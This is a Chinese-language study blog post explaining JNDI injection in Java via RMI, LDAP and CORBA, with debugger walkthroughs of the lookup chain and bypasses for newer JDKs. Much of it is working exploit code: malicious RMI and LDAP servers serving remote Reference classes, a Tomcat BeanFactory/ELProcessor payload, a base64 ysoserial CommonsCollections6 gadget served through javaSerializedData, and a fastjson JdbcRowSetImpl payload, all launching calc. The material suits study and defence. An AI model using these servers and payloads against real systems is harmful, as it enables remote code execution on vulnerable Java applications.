0x01 JNDI 初识
JNDI(Java Naming and Directory Interface) 是 Java 提供的 Java 命名和目录接口。通过调用 JNDI 的 API 应用程序可以定位资源和其他程序对象
JNDI 是 Java EE 的重要部分,需要注意的是它并不只是包含了 DataSource(JDBC 数据源),JNDI 可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA
在 JNDI 中一个名字对应一个 Java 对象
jndi 在 jdk 里面支持以下四种服务
LDAP (轻量级目录访问协议)
CORBA (通用对象请求代理架构)
RMI (Java 远程方法调用注册表)
DNS (DNS 服务)
前三种都是字符串对应对象,DNS 是 IP 对应域名
JNDI 在对不同服务进行调用的时候,会去调用 xxxContext 这个类,比如调用 RMI 服务的时候就是调的 RegistryContext,这一点是很重要的,记住了这一点对于 JNDI 这里的漏洞理解非常有益
一般的应用也就是先 new InitialContext(),再调用 API 即可,下面我们先看一个 JNDI 结合 RMI 的代码实例
0x02 JNDI 利用
JNDI + RMI
远程对象接口 IRemoteObj
1 2 3 4 5 6 7 8
| package org.example;
import java.rmi.Remote; import java.rmi.RemoteException;
public interface IRemoteObj extends Remote { public String sayHello(String name) throws RemoteException; }
|
远程对象实例类 RemoteObjImpl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package org.example;
import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject;
public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj {
protected RemoteObjImpl() throws RemoteException { }
@Override public String sayHello(String name) { name = name.toUpperCase(); return "Hello "+name; } }
|
RMI 服务端 RMIServer
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package org.example;
import javax.naming.InitialContext; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class JNDIRMIServer { public static void main(String[] args) throws Exception { InitialContext initialContext = new InitialContext(); Registry registry = LocateRegistry._createRegistry_(1099); initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl()); } }
|
RMI 客户端 RMIClient
1 2 3 4 5 6 7 8 9 10 11
| package org.example;
import javax.naming.InitialContext;
public class JNDIRMIClient { public static void main(String[] args) throws Exception { InitialContext initialContext = new InitialContext(); IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj"); System._out_.println(remoteObj.sayHello("g3ng4r")); } }
|
RMI 原生漏洞
这里的 api 虽然是 JNDI 的服务的,但是实际上确实调用到 RMI 的库里面的,这里我们先打断点调试一下,证明 JNDI 的 api 实际上是调用了 RMI 的库里原生的 lookup() 方法
断点下在 InitialContext.java 的 lookup() 方法,开始调试

进到 lookup() 方法里面进去,这里 GenericURLContext 类的 lookup() 方法里面又套了一个 lookup() 方法,我们继续进去

进去之后发现这个类是 RegistryContext,也就是 RMI 对应 lookup() 方法的类,至此,可以基本说明 JNDI 调用 RMI 服务的时候,虽然 API 是 JNDI 的,但是还是去调用了原生的 RMI 服务

所以说,如果 JNDI 这里是和 RMI 结合起来使用的话,RMI 中存在的漏洞,JNDI 这里也会有。但这并不是 JNDI 的传统意义上的漏洞
Normal JNDI 引用漏洞
这个漏洞被称作 JNDI 注入漏洞,它与所调用服务无关,不论你是 RMI,DNS,LDAP 或者是其他的,都会存在这个问题
原理是在服务端调用了一个 Reference 对象,和代理很像,先来看看它的构造函数

第一个参数是类名,第二个参数是 factory,factory 是 JNDI 很好的一个表示,我们可以通过这一个 factory 来代表一个类;第三个参数为地址
修改服务端 JNDIRMIServer:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package org.example;
import javax.naming.InitialContext; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class JNDIRMIServer { public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry._createRegistry_( 1099); Reference reference = new Reference("Calc","Calc","http://localhost:7777/"); initialContext.rebind("rmi://localhost:1099/remoteObj", reference); } }
|
在 JNDI 里面,我们可以通过 new 一个 Reference 类,然后再 rebind 调用它,这个思路有点像代理吧,然后调用它这个很像 URLClassLoader
如果要攻击的话,也很简单,我们在 URLClassLoader 这个获取的方法里面添加恶意类就可以了,比如我这里是 写了一个恶意类
1 2 3 4 5
| public class Calc { public Calc() throws Exception { Runtime.getRuntime().exec("calc"); } }
|
把编译后的 class 文件放在其他目录下,再在该目录起一个 python 服务,最后分别运行服务端和客户端即可

报错的话是一定会报错的,因为服务端这里还是 sayHello 了,但是我们调用的那个远程 Class 也就是 reference 其实是没有 sayHello 这个方法的,这里我们可以打断点调试一下
因为漏洞点在 lookup() 方法这里,所以我们是要去看 lookup() 方法的一整个流程,看一下是怎么触发恶意类然后命令执行的
跟进几个 lookup() 方法,直到去到 RMI 的原生的 lookup(),也就是 RegistryContext 这个类里面
继续往下走,这里 var2 对应的是 obj 变量,把 Ref 的值赋给了它。obj 是一个 ReferenceWrapper_Stub 这个类,是因为这是一个 Reference

跟进 decodeObject() 方法,先做了一个简单的判断,判断是否为 ReferenceWrapper,也就是判断是否为 Reference 对象。往下是一个比较重要的方法 getOBjectInstance(),从名字上推测这应该是一个初始化的方法

进入 getObjectInstance() 这个方法,首先是 builder 的判断,往下走是关于 reference 的,这里是用了 reference 强转换,将 refInfo 转换为 Reference

继续往下走,是关于 ref 的,意思是如果 reference 当中定义了 factory,就通过 getObjectFactoryFromReference() 方法来调用 reference 当中的 factory,我们跟进去看

getObjectFactoryFromReference() 这个方法中,我们已经获取到了这个恶意类,接着执行加载类的 loadClass() 方法

继续往下走,获取到 codebase,并且进行 helper.loadClass(),这里就是我们前面讲到的动态加载类的一个方法 URLClassLoader

最后在 newInstance() 这一步执行代码

总结一下还是比较简单的,就是 URLClassLoader 的动态类加载,但是讲道理,这个地方是 Jndi 专属的,不是说因为 RMI 的问题
然后攻击点的话,就是因为客户端进行了 lookup() 方法的调用。
这个漏洞在 jdk8u121 当中被修复,也就是 lookup() 方法只可以对本地进行 lookup() 方法的调用
JNDI + LDAP
LDAP 初识
LDAP 既是一类服务,也是一种协议,定义在 RFC2251(RFC4511) 中,是早期 X.500 DAP (目录访问协议) 的一个子集,因此有时也被称为 X.500-lite
LDAP Directory 作为一种目录服务,主要用于带有条件限制的对象查询和搜索。目录服务作为一种特殊的数据库,用来保存描述性的、基于属性的详细信息。和传统数据库相比,最大的不同在于目录服务中数据的组织方式,它是一种有层次的树形结构,因此它有优异的读性能,但写性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。
LDAP 的请求和响应是 ASN.1 格式,使用二进制的 BER 编码,操作类型(Operation)包括 Bind/Unbind、Search、Modify、Add、Delete、Compare 等等,除了这些常规的增删改查操作,同时也包含一些拓展的操作类型和异步通知事件
LDAP 漏洞
先起一个 LDAP 的服务,这里需要先在 pom.xml 中导入 unboundid-ldapsdk 的依赖
1 2 3 4 5
| <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.2.0</version> </dependency>
|
LDAP 服务端 LDAPServer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| package org.example;
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL;
public class LDAPServer { private static final String _LDAP_BASE _= "dc=example,dc=com"; public static void main (String[] args) { String url = "http://127.0.0.1:7777/#Calc"; int port = 1099; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(_LDAP_BASE_); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress._getByName_("0.0.0.0"), port, ServerSocketFactory._getDefault_(), SocketFactory._getDefault_(), (SSLSocketFactory) SSLSocketFactory._getDefault_()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System._out_.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; _ _public OperationInterceptor ( URL cb ) { this.codebase = cb; } _
_@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System._out_.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Calc"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode._SUCCESS_)); }
} }
|
LDAP 客户端 LDAPClient
1 2 3 4 5 6 7 8 9 10 11
| package org.example;
import javax.naming.InitialContext;
public class LDAPClient { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); RemoteObjImpl remoteObj = (RemoteObjImpl) initialContext.lookup("ldap://localhost:1099/remoteObj"); System._out_.println(remoteObj.sayHello("g3ng4r")); } }
|
同样的,还是先用 python 起一个 HTTP 服务,再跑服务端代码,再跑客户端

这个攻击就还是我们之前说的 Reference
注意一点就是,LDAP+Reference 的技巧远程加载 Factory 类不受 RMI+Reference 中的 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 等属性的限制,所以适用范围更广。但在 JDK 8u191、7u201、6u211 之后,com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被设置为 false,对 LDAP Reference 远程工厂类的加载增加了限制。
所以,当 JDK 版本介于 8u191、7u201、6u211 与 6u141、7u131、8u121 之间时,我们就可以利用 LDAP+Reference 的技巧来进行 JNDI 注入的利用。
因此,这种利用方式的前提条件就是目标环境的 JDK 版本在 JDK8u191、7u201、6u211 以下
JNDI + CORBA
一个简单的流程是:resolve_str 最终会调用到 StubFactoryFactoryStaticImpl.createStubFactory 去加载远程 class 并调用 newInstance 创建对象,其内部使用的 ClassLoader 是 RMIClassLoader,在反序列化 stub 的上下文中,默认不允许访问远程文件,因此这种方法在实际场景中比较少用。所以就不深入研究了
0x03 高版本 jdk 绕过攻击
这里针对的就是 jdk8u121、7u201 这些的高版本 jdk 的绕过手段
JDK 版本 < 8u191
这里的 jdk 版本是 jdk8u121 < temp < jdk8u191 才可以打
绕过方法很简单,就是上面说的 LDAP 的 JNDI 漏洞,其实这也无关 LDAP。通过 RMI 也是可以打的,这也就是 JNDI 通用漏洞,原因是可以动态加载字节码,分析过程和上面是一样的,这里就不赘述了
先来集中看一下 jdk8u191 之后的版本对于这个漏洞是通过什么手段来修复的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
|
public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); }
public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { if ("true".equalsIgnoreCase(trustURLCodebase)) { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); } else { return null; } }
|
可以看到新版本 JDK 在使用 URLClassLoader 加载器加载远程类之前加了个 if 语句检测
根据 trustURLCodebase的值是否为true 的值来进行判断,它的值默认为 false。通俗的来说,jdk8u191 之后的版本通过添加 trustURLCodebase 的值是否为 true 这一手段,让我们无法加载 codebase,也就是无法让我们进行 URLClassLoader 的攻击了
JDK 版本 > 8u191
利用本地恶意 Class 作为 Reference Factory
简单地说,就是要服务端本地 ClassPath 中存在恶意 Factory 类可被利用来作为 Reference Factory 进行攻击利用。该恶意 Factory 类必须实现 javax.naming.spi.ObjectFactory 接口,实现该接口的 getObjectInstance() 方法。
大佬找到的是这个 org.apache.naming.factory.BeanFactory 类,其满足上述条件并存在于 Tomcat8 依赖包中,应用广泛。该类的 getObjectInstance() 函数中会通过反射的方式实例化 Reference 所指向的任意 Bean Class(Bean Class 就类似于我们之前说的那个 CommonsBeanUtils 这种),并且会调用 setter 方法为所有的属性赋值。而该 Bean Class 的类名、属性、属性值,全都来自于 Reference 对象,均是攻击者可控的
现在来看下 RMI 攻击向量的代码是如何实现的
攻击利用
具体依赖 Tomcat 中的 jar 包为:catalina.jar、el-api.jar、jasper-el.jar
导入的依赖:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <dependencies> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-el</artifactId> <version>8.5.51</version> </dependency>
<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.51</version> </dependency> </dependencies>
|
恶意服务端代码 JNDIBypassHighJava.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import com.sun.jndi.rmi.registry.ReferenceWrapper; ** **import org.apache.naming.ResourceRef; ** ** ** **import javax.naming.StringRefAddr; ** **import java.rmi.registry.LocateRegistry; ** **import java.rmi.registry.Registry; ** ** ** ** **public class JNDIBypassHighJava { ** ** public static void main(String[] args) throws Exception { ** ** System.out.println("[*]Evil RMI Server is Listening on port: 1099"); ** ** Registry registry = LocateRegistry.createRegistry( 1099); ** ** ** ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ** ** ** ref.add(new StringRefAddr("forceString", "x=eval")); ** ** ** ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + ** ** ".newInstance().getEngineByName(\"JavaScript\")" + ** ** ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")")); ** ** System.out.println("[*]Evil command: calc"); ** ** ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); ** ** registry.bind("Object", referenceWrapper); ** ** } ** **}
|
还有一个用 rebind 方法的服务端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import org.apache.naming.ResourceRef;
import javax.naming.InitialContext; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry;
public class JNDIBypassHighJavaServerRebind { public static void main(String[] args) throws Exception{
LocateRegistry LocateRegistry = null; LocateRegistry._createRegistry_(1099); System._out_.println("RMI Registry 已在 1099 端口启动...");
InitialContext initialContext = new InitialContext(); ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","", true,"org.apache.naming.factory.BeanFactory",null ); resourceRef.add(new StringRefAddr("forceString", "x=eval")); resourceRef.add(new StringRefAddr("x","Runtime.getRuntime().exec('calc')" )); initialContext.rebind("rmi://localhost:1099/remoteObj", resourceRef); } }
|
JNDI 客户端 JNDIBypassHighJavaClient
1 2 3 4 5 6 7 8 9 10
| import javax.naming.Context; import javax.naming.InitialContext;
public class JNDIBypassHighJavaClient { public static void main(String[] args) throws Exception { String uri = "rmi://localhost:1099/remoteObj"; Context context = new InitialContext(); context.lookup(uri); } }
|

调试分析
看完了 EXP,我们来分析一下服务端的代码,就以 rebind 为例分析
首先 ELProcessor 这里,是 el 表达式,没学还不会,它是一种命令执行的方式
后面的 add 这种写法是 BeanFactory.getObjectInstance() 代码的逻辑,第一种命令执行的方式是 ProcessBuilder 的,第二种是 Runtime 的
开始调试,进 lookup 这里和之前是一样的,直接到 RegistryContext 这个类的 decodeObject() 方法当中,这个方法当中调用了 getObjectInstance()

继续往前,不一样的地方在 getObjectFactoryFromReference,我们也可以直接把断点下在这个位置,这样就可以直达了

跟进去看一下逻辑,发现是通过 loadClass() 方法来加载我们传入的 org.apache.naming.factory.BeanFactory 类,然后新建该类实例并将其转换成 ObjectFactory 类型,也就是说,我们传入的 Factory 类必须实现 ObjectFactory 接口类、而 org.apache.naming.factory.BeanFactory 正好满足这一点:

跳出该函数继续往下走,跟进看到 getObjectInstance() 方法中:

会判断 obj 参数是否是 ResourceRef 类实例,是的话代码才会往下走,这就是为什么我们在恶意 RMI 服务端中构造 Reference 类实例的时候必须要用 Reference 类的子类 ResourceRef 类来创建实例:

后续经过一系列的赋值,执行 loadClass 方法后继续,接着获取 Bean 类为 javax.el.ELProcessor 后,实例化该类并获取其中的 forceString 类型的内容,其值是我们构造的 x=eval 内容:

接下来查找 forceString 的内容中是否存在 = 号,不存在的话就调用属性的默认 setter 方法,存在的话就取键值、其中键是属性名而对应的值是其指定的 setter 方法。如此,之前设置的 forceString 的值就可以强制将 x 属性的 setter 方法转换为调用我们指定的 eval() 方法了,这是 BeanFactory 类能进行利用的关键点
之后,就是获取 beanClass 即 javax.el.ELProcessor 类的 eval() 方法并和 x 属性一同缓存到 forced 这个 HashMap 中:

接着是多个 do while 语句来遍历获取 ResourceRef 类实例 addr 属性的元素,当获取到 addrType 为 x 的元素时退出当前所有循环,然后调用 getContent() 方法来获取 x 属性对应的 contents 即恶意表达式。这里就是恶意 RMI 服务端中 ResourceRef 类实例添加的第二个元素

获取到类型为 x 对应的内容为恶意表达式后,从前面的缓存 forced 中取出 key 为 x 的值即 javax.el.ELProcessor 类的 eval()方法并赋值给 method 变量,最后就是通过 method.invoke()即反射调用的来执行

思考总结
- payload 这里是比较复杂的,经过第一层的
=x,之后,有添加元素的逻辑。算是 el 表达式注入的一些基础吧,后续学习了 el 表达式再回来看应该会理解很多
- 另外一个就是绕过了
trustURLCodebase 的检测,或者说轮不到 trustURLCodebase 来检测
利用 LDAP 返回序列化数据触发本地 Gadget
攻击利用
LDAP 服务端除了支持 JNDI Reference 这种利用方式外,还支持直接返回一个序列化的对象。如果 Java 对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。此时,如果服务端 ClassPath 中存在反序列化多功能利用 Gadget 如 CommonsCollections 库,那么就可以结合该 Gadget 实现反序列化漏洞攻击
这也就是平常 JNDI 漏洞存在最多的形式,通过与其他链子结合,比如当时 2022 蓝帽杯,好像有道题目就是 fastjson 绕过高版本 jdk 攻击
使用 ysoserial 工具生成 Commons-Collections 这条 Gadget 并进行 Base64 编码输出:
1
| java -jar ysoserial-master.jar CommonsCollections6 'calc' | base64
|
输出:
1
| rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=
|
恶意 LDAP 服务器如下,主要是在 javaSerializedData 字段内填入刚刚生成的反序列化 payload 数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| import com.unboundid.util.Base64; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import java.text.ParseException;
public class JNDIGadgetServer {
private static final String _LDAP_BASE _= "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://vps:8000/#ExportObject"; int port = 1234;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(_LDAP_BASE_); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress._getByName_("0.0.0.0"), port, ServerSocketFactory._getDefault_(), SocketFactory._getDefault_(), (SSLSocketFactory) SSLSocketFactory._getDefault_()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System._out_.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
_ _public OperationInterceptor ( URL cb ) { this.codebase = cb; }
_
_@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); }
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System._out_.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); }
try { e.addAttribute("javaSerializedData", Base64._decode_("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=")); } catch (ParseException exception) { exception.printStackTrace(); }
result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode._SUCCESS_)); }
} }
|
客户端代码,这里有两种触发方式,选一种就好了,这里 fastjson 还没学过,就先用第一种的 lookup 注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import com.alibaba.fastjson.JSON;
import javax.naming.Context; import javax.naming.InitialContext;
public class JNDIGadgetClient { public static void main(String[] args) throws Exception { Context context = new InitialContext(); context.lookup("ldap://localhost:1234/ExportObject");
String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }"; JSON._parse_(payload); } }
|
客户端,服务端依赖:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.80</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.1.1</version> </dependency>
|

调试分析
